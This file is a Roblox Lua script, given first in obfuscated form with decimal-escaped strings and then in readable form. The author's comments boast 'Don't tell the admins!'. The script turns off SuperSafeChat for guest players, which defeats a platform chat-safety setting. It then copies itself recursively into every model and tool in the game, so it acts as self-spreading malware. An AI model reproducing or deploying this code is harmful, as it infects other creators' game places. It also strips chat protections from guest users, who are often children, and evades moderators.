if script.Parent==workspace then function checkForAndSwitch(U)if U.SuperSafeChat==true then U.SuperSafeChat=false wait(5)local C=Instance.new("\077\101\115\115\097\103\101")C.Text="\080\114\101\115\115 \116\104\101 \047 \107\101\121 \116\111 \115\116\097\114\116 \116\121\112\105\110\103\046"C.Parent=U wait(5)C.Text="\084\104\101\110 \112\114\101\115\115 \069\110\116\101\114 \116\111 \115\101\110\100 \121\111\117\114 \109\101\115\115\097\103\101\046"wait(5)C:Remove()C=nil end U=nil collectgarbage("\099\111\108\108\101\099\116")end function onChildAddedToPlayers(U)if U.className=="\080\108\097\121\101\114"then checkForAndSwitch(U)local C=Instance.new("\077\101\115\115\097\103\101")C.Text="\077\111\110\115\116\101\114 \083\097\121\115\044 \'\076\101\116 \116\104\101 \071\117\101\115\116\115 \116\097\108\107\033\' \065\110\100 \097\108\108 \119\097\115 \103\111\111\100\046"C.Parent=U wait(5)C:Remove()C=nil end U=nil collectgarbage("\099\111\108\108\101\099\116")end function onChildAddedToWorkspace(U)if U.className=="\077\111\100\101\108"then if game.Players:playerFromCharacter(U)~=nil then checkForAndSwitch(game.Players:playerFromCharacter(U))end end U=nil collectgarbage("\099\111\108\108\101\099\116")end function findLowestLevel(U)local C=U:GetChildren()local y=true for U,C in pairs(C)do if C.className=="\077\111\100\101\108"or C.className=="\084\111\111\108"or C.className=="\072\111\112\112\101\114\066\105\110"or C==workspace or C==game.Lighting or C==game.StarterPack then y=false wait()findLowestLevel(C)end end if U~=workspace and(y==true and U:FindFirstChild(script.Name)==nil)then if U~=game.Lighting and U~=game.StarterPack then local C=script:Clone()C.Parent=U end end end findLowestLevel(game)game.Players.ChildAdded:connect(onChildAddedToPlayers)game.Workspace.ChildAdded:connect(onChildAddedToWorkspace)else local U=workspace:FindFirstChild(script.Name)if U==nil then local U=script:Clone()U.Parent=workspace end end
--Farvei's totally awesome script that makes Guests talk
--Please give credit
--Don't tell the admins!
--Unnote the vaccine if you'd like to remove all copies of this script in your place
if script.Parent == workspace then
	function checkForAndSwitch(player)
		if player.SuperSafeChat == true then
			player.SuperSafeChat = false
			wait(5)
			local m = Instance.new("Message")
			m.Text = "Press the / key to start typing."
			m.Parent = player
			wait(5)
			m.Text = "Then press Enter to send your message."
			wait(5)
			m:Remove()
			m = nil
		end
		player = nil
		collectgarbage("collect")
	end

	function onChildAddedToPlayers(obj)
		if obj.className == "Player" then
			checkForAndSwitch(obj)
			local m = Instance.new("Message")
			m.Text = "Monster Says, 'Let the Guests talk!' And all was good."
			m.Parent = obj
			wait(5)
			m:Remove()
			m = nil
		end
		obj = nil
		collectgarbage("collect")
	end

	function onChildAddedToWorkspace(obj)
		if obj.className == "Model" then
			if game.Players:playerFromCharacter(obj) ~= nil then
				checkForAndSwitch(game.Players:playerFromCharacter(obj))
			end
		end
		obj = nil
		collectgarbage("collect")
	end

	function findLowestLevel(obj)
		local c = obj:GetChildren()
		local lowestLevel = true

		for i, v in pairs(c) do
			if
				v.className == "Model"
				or v.className == "Tool"
				or v.className == "HopperBin"
				or v == workspace
				or v == game.Lighting
				or v == game.StarterPack
			then
				lowestLevel = false
				wait()
				findLowestLevel(v)
			end
		end

		if obj ~= workspace and lowestLevel == true and (obj:FindFirstChild(script.Name) == nil) then
			if obj ~= game.Lighting and obj ~= game.StarterPack then
				local s = script:Clone()
				s.Parent = obj
			end
		end
	end

	findLowestLevel(game)

	game.Players.ChildAdded:connect(onChildAddedToPlayers)
	game.Workspace.ChildAdded:connect(onChildAddedToWorkspace)
else
	local findScript = workspace:FindFirstChild(script.Name)

	if findScript == nil then
		local s = script:Clone()
		s.Parent = workspace
	end
end
